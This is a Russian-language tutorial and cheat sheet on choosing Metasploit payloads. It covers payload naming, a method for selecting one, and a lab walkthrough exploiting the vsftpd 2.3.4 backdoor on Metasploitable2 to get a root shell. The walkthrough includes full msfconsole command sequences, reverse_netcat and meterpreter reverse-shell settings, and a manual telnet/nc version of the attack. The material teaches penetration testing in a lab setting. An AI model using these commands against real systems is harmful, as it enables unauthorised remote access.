Как выбирать Payload в Metasploit
📌 Что это / Зачем это нужно
После команды show payloads Metasploit может выдать от 1 до 400+ вариантов. Это пугает. Но на деле тебе нужно знать формулу выбора — и из сотен вариантов правильный находится за 10 секунд.
Эта шпаргалка объясняет: почему список такой длинный, как читать названия payload-ов, и как в любой ситуации быстро выбрать правильный.
⚡ Почему список такой огромный
Metasploit не знает что за машина на том конце. Он знает только тип эксплойта. Поэтому показывает ВСЁ что технически совместимо.
Эксплойты бывают двух типов:
Специфичные (бьют конкретную ОС + архитектуру) — например ms17_010_eternalblue работает только на Windows x64 через SMB. show payloads покажет 10-20 вариантов. Всё чётко.
Универсальные (выполняют команду через shell) — например vsftpd_234_backdoor просто выполняет команду на Unix. А команду можно выполнить через bash, python, perl, netcat, ruby, lua, php — на любой архитектуре. Поэтому show payloads выдаёт 400+ вариантов, включая payload-ы для ARM-роутеров и MIPS-устройств, которые тебе не нужны.
Metasploit не фильтрует по реальной архитектуре цели, потому что узнает её только ПОСЛЕ эксплуатации. Разбираться — твоя задача.
🔍 Как читать название payload-а
Каждый payload — это путь с чёткой структурой:
платформа / доставка / архитектура / тип_shell / протокол
Разбор на примерах
cmd/unix/interact
cmd— через командную строкуunix— платформа Unix/Linuxinteract— просто подключиться к существующему shell
windows/x64/meterpreter/reverse_tcp
windows— платформа Windowsx64— 64-битная архитектураmeterpreter— продвинутая оболочка/reverse_tcp— staged, цель подключается к тебе по TCP
linux/x86/meterpreter_reverse_tcp
linux— платформа Linuxx86— 32-битная архитектураmeterpreter_reverse_tcp— stageless (подчёркивание!), всё в одном файле
cmd/linux/http/x64/shell/reverse_tcp
cmd— через командную строкуlinux— платформаhttp— payload скачивается по HTTPx64— архитектураshell/reverse_tcp— обычный shell, staged, reverse
📋 Расшифровка каждой части
Платформа (первая часть)
windows/— Windows-машиныlinux/— Linux (бинарный payload)cmd/unix/— любой Unix/Linux через командную строкуcmd/linux/— Linux через командную строкуcmd/windows/— Windows через командную строку (PowerShell)android/— Androidosx/— macOSjava/— Java-приложения (Tomcat и т.д.)php/— PHP-приложенияpython/— Python-приложенияgeneric/— универсальные, работают везде
Способ доставки (если есть)
- без префикса — payload выполняется напрямую
http/— скачивается по HTTP с твоего сервераhttps/— скачивается по HTTPStftp/— скачивается по TFTP
Для лабы — без префикса или http/. TFTP — экзотика.
Архитектура
x86— 32-бит (старые системы, Metasploitable2)x64— 64-бит (большинство современных машин)aarch64— ARM 64-бит (Raspberry Pi, серверы на ARM)armle/armbe— ARM 32-бит (IoT, роутеры)mipsbe/mipsle— MIPS (роутеры, встраиваемые системы)ppc/ppc64— PowerPC (старые Mac, серверы IBM)riscv32le/riscv64le— RISC-V (новые IoT-устройства)
Для 95% задач тебе нужны только x86 и x64. Остальные — для специфичных целей.
Тип shell
meterpreter— продвинутая оболочка (скриншоты, камера, кейлоггер, миграция между процессами, шифрованный канал). Лучший выбор когда доступенshell— обычный bash/cmd. Проще, легче, работает вездеinteract— просто подключиться к уже открытому соединениюexec— выполнить одну команду и всёadduser— добавить пользователяchmod— сменить права файлаreboot— перезагрузить машинуread_file— прочитать файл
Протокол соединения
reverse_tcp— цель подключается к тебе по TCP. Лучший вариант, 90% случаевbind_tcp— цель открывает порт, ты подключаешься. Если ты за NATreverse_http— reverse через HTTP (маскировка под веб-трафик)reverse_https— reverse через HTTPS (шифрованная маскировка)reverse_sctp— через SCTP (экзотика)bind_ipv6_tcp— bind через IPv6
Для лабы — reverse_tcp. Для реального пентеста через файрволы — reverse_https.
Staged vs Stageless
- Слэш
/= staged (два этапа):meterpreter/reverse_tcp - Подчёркивание
_= stageless (всё в одном):meterpreter_reverse_tcp
Staged — меньше размер, подходит для переполнения буфера. Stageless — надёжнее, сразу шифрованный канал. В лабе — staged. В реальном пентесте — чаще stageless.
🎯 Алгоритм выбора (5 шагов)
Шаг 1: Определи ОС цели
Из результатов Nmap или из описания эксплойта:
- Linux → payload начинается с
linux/илиcmd/unix/ - Windows →
windows/ - Неизвестно →
generic/
Шаг 2: Определи архитектуру
- Современная машина →
x64 - Старая машина (Metasploitable2, Windows XP) →
x86 - Роутер/IoT → смотри что за процессор
Если не знаешь — пробуй x64, не подошёл — x86.
Шаг 3: Выбери тип shell
- Хочешь максимум возможностей →
meterpreter - Meterpreter не поддерживается →
shell - Бэкдор уже открыл shell →
interact
Шаг 4: Выбери направление
- Почти всегда →
reverse_tcp - Ты за NAT и не можешь принять соединение →
bind_tcp - Нужна маскировка →
reverse_https
Шаг 5: Собери название
платформа / архитектура / тип / направление
Примеры:
windows/x64/meterpreter/reverse_tcplinux/x86/shell/reverse_tcpcmd/unix/reverse_netcat
🔧 Что делать когда payload не подходит
Metasploit скажет The value specified for payload is not valid если payload несовместим с эксплойтом.
Стратегия — спускайся по лестнице от сложного к простому:
# 1. Попробуй мощный вариант
set payload linux/x64/meterpreter/reverse_tcp
# Не подошёл? Попробуй 32-бит
set payload linux/x86/meterpreter/reverse_tcp
# Не подошёл? Попробуй обычный shell
set payload linux/x86/shell/reverse_tcp
# Не подошёл? Попробуй через cmd
set payload cmd/unix/reverse_netcat
# Не подошёл? Попробуй самый простой
set payload cmd/unix/interact
# Не подошёл? Универсальный
set payload generic/shell_reverse_tcp
Одно из этих точно сработает.
🧠 Быстрая шпаргалка: 6 payload-ов на все случаи
Запомни эти шесть — покроешь 95% ситуаций:
1. Бэкдор уже открыл shell (vsftpd и подобные)
set payload cmd/unix/interact
Никаких LHOST/LPORT не нужно. Просто подключаешься к тому что есть.
2. Linux цель, нужен обычный shell
set payload cmd/unix/reverse_netcat
set LHOST твой_IP
Работает почти везде где есть netcat.
3. Linux цель, нужен Meterpreter
set payload linux/x64/meterpreter/reverse_tcp
set LHOST твой_IP
set LPORT 4444
Если цель 32-бит — замени x64 на x86.
4. Windows цель, нужен Meterpreter
set payload windows/x64/meterpreter/reverse_tcp
set LHOST твой_IP
set LPORT 4444
Если цель 32-бит — windows/meterpreter/reverse_tcp (без x64).
5. Веб-сервер (Java/Tomcat)
set payload java/meterpreter/reverse_tcp
set LHOST твой_IP
set LPORT 4444
6. Ничего не подходит — универсальный
set payload generic/shell_reverse_tcp
set LHOST твой_IP
set LPORT 4444
Работает с большинством эксплойтов. Даёт обычный shell.
🔍 Как быстро отфильтровать список payload-ов
Когда show payloads выдаёт полотно, не листай его. Используй поиск:
# В msfconsole grep работает так:
grep meterpreter show payloads
# Только reverse_tcp
grep reverse_tcp show payloads
# Только x64 meterpreter reverse
grep x64/meterpreter/reverse_tcp show payloads
# Только cmd/unix (простые shell)
grep cmd/unix show payloads
Это сокращает список с 400+ до 5-10 вариантов.
⚡ Особые случаи
Эксплойт показывает только 1 payload
Значит эксплойт жёстко привязан к одному типу. Например vsftpd_234_backdoor в старых версиях Metasploit показывал только cmd/unix/interact. Выбора нет — используй что дают.
Эксплойт показывает 10-20 payload-ов
Нормальная ситуация для специфичных эксплойтов (EternalBlue, MS08-067). Выбираешь по алгоритму: meterpreter > shell, reverse_tcp > bind_tcp.
Эксплойт показывает 400+ payload-ов
Это универсальный cmd-эксплойт. 95% списка — мусор для твоей конкретной цели. Используй grep или ставь payload вручную по формуле.
Metasploit автоматически выбрал не тот payload
При use exploit/... Metasploit сам ставит дефолтный payload. В новых версиях дефолт может быть сложным (cmd/linux/http/x86/meterpreter_reverse_tcp). Всегда проверяй через show options и меняй если нужно:
# Посмотри что стоит
show options
# Если стоит что-то сложное — замени на простое
set payload cmd/unix/interact
🧠 Пример из реального опыта: vsftpd на Metasploitable2
Реальная ситуация: эксплойт vsftpd_234_backdoor, цель — Metasploitable2 (Linux x86). После show payloads выпало 419 payload-ов. Вот как нужно было действовать:
Шаг 1: Смотрим info эксплойта
info
Видим: Platform: Unix, Arch: cmd. Значит payload должен начинаться с cmd/unix/. Сразу откидываем всё с windows/, aarch64, arm, mips, ppc, riscv — это не наша архитектура.
Шаг 2: Фильтруем список
grep cmd/unix show payloads
Из 419 осталось ~80. Уже можно работать.
Шаг 3: Понимаем что делает эксплойт
Читаем описание в info: это бэкдор, который сам открывает shell на порту 6200. Нам не нужно ничего доставлять — дверь уже открыта. Ищем interact:
grep interact show payloads
Нашли cmd/unix/interact — идеальный вариант. Просто подключается к существующему shell. Никаких LHOST/LPORT не нужно.
set payload cmd/unix/interact
run
Шаг 4: interact не сработал (баг в новой версии Metasploit)
Metasploit выдал The value specified for payload is not valid. В новых версиях cmd/unix/interact иногда не привязывается к этому эксплойту. Не паникуем — спускаемся на ступень ниже.
set payload cmd/unix/reverse_netcat
set LHOST ***.***.*.*
set LPORT 4444
run
Что пошло не так по дороге (и чему это научило)
Ошибка 1: Не тот payload по умолчанию. При use exploit/... Metasploit сам поставил cmd/linux/http/x86/meterpreter_reverse_tcp — сложный payload с кучей лишних параметров (FETCH_COMMAND, FETCH_SRVHOST). В обучающем видео на старой версии дефолтом был cmd/unix/interact. Урок: всегда проверяй show options и меняй дефолтный payload если он выглядит сложно.
Ошибка 2: Выбрали generic/ssh/interact вместо cmd/unix/interact. Бэкдор открылся (Backdoor has been spawned!), но payload для SSH не смог подключиться к FTP-бэкдору — NoMethodError undefined method 'transport'. Урок: interact для SSH и interact для Unix — разные вещи. Смотри на полное имя.
Ошибка 3: Перепутали LHOST и RHOSTS. Поставили IP цели (...) в LHOST. Handler не смог забиндиться — Handler failed to bind. Урок: LHOST = ты (Local), RHOSTS = цель (Remote). Всегда.
Ошибка 4: Бэкдор «протух». После нескольких неудачных попыток порт 6200 завис в полуоткрытом состоянии — Backdoor already in-use. Пришлось ждать пока таймаут сбросит соединение. Урок: неудачные попытки эксплуатации могут заблокировать уязвимость. В реальном пентесте у тебя может быть один шанс.
Итоговый рабочий вариант
use exploit/unix/ftp/vsftpd_234_backdoor
set payload cmd/unix/reverse_netcat
set RHOSTS ***.***.*.*
set LHOST ***.***.*.*
set LPORT 4444
exploit
Результат: Command shell session opened → whoami → root. Полный доступ к Metasploitable2.
Альтернатива без Metasploit (ещё проще)
Весь этот эксплойт можно было выполнить вручную двумя командами:
# Терминал 1: активируем бэкдор
telnet ***.***.*.* 21
USER anything:)
PASS whatever
# Терминал 2: подключаемся к открытому порту
nc ***.***.*.* 6200
whoami
Metasploit просто автоматизирует этот процесс. Под капотом — те же две команды.
Быстрый алгоритм на 30 секунд (запомни)
1. info → узнал платформу и архитектуру
2. grep cmd/unix show payloads → отфильтровал по платформе
3. grep interact show payloads → если бэкдор сам открывает shell
4. set payload cmd/unix/reverse_netcat → если interact не работает
5. set payload cmd/unix/reverse_bash → запасной вариант
6. set payload generic/shell_reverse_tcp → крайний случай
Не 419 штук перебирать, а 3-4 попытки максимум.
⚠️ Важные моменты
- Не запоминай все payload-ы. Запомни формулу: платформа + архитектура + тип + направление. Этого достаточно чтобы собрать название любого payload-а
- Всегда проверяй
show optionsпосле выбора payload-а. Разные payload-ы требуют разные параметры.interact— ничего.reverse_tcp— LHOST и LPORT.http/— ещё и FETCH_SRVHOST cmd/unix/interactне требует LHOST/LPORT. Он просто подключается к существующему соединению. Если эксплойт открывает бэкдор сам — это твой выборreverse_tcppayload-ы ВСЕГДА требуют LHOST. Это твой IP в сети с целью. Проверяй черезip aилиifconfig. Неправильный LHOST = сессия не придёт- Архитектура должна совпадать. x64 payload на x86 машине = сессия откроется и сразу умрёт. Или не откроется вообще
- Не все payload-ы из списка реально работают на твоей цели. Metasploit показывает всё что совместимо с эксплойтом, а не с целевой машиной. ARM payload на x86 сервере — бесполезен, хотя в списке есть
- Для обучения хватит 3-4 payload-ов. Не пытайся освоить все 1,700. Выучи
interact,reverse_netcat,meterpreter/reverse_tcpдля Linux и Windows — и двигайся дальше grepв msfconsole. Синтаксис:grep слово show payloads(без пайпа|). Это твоё спасение от полотна из 400 строк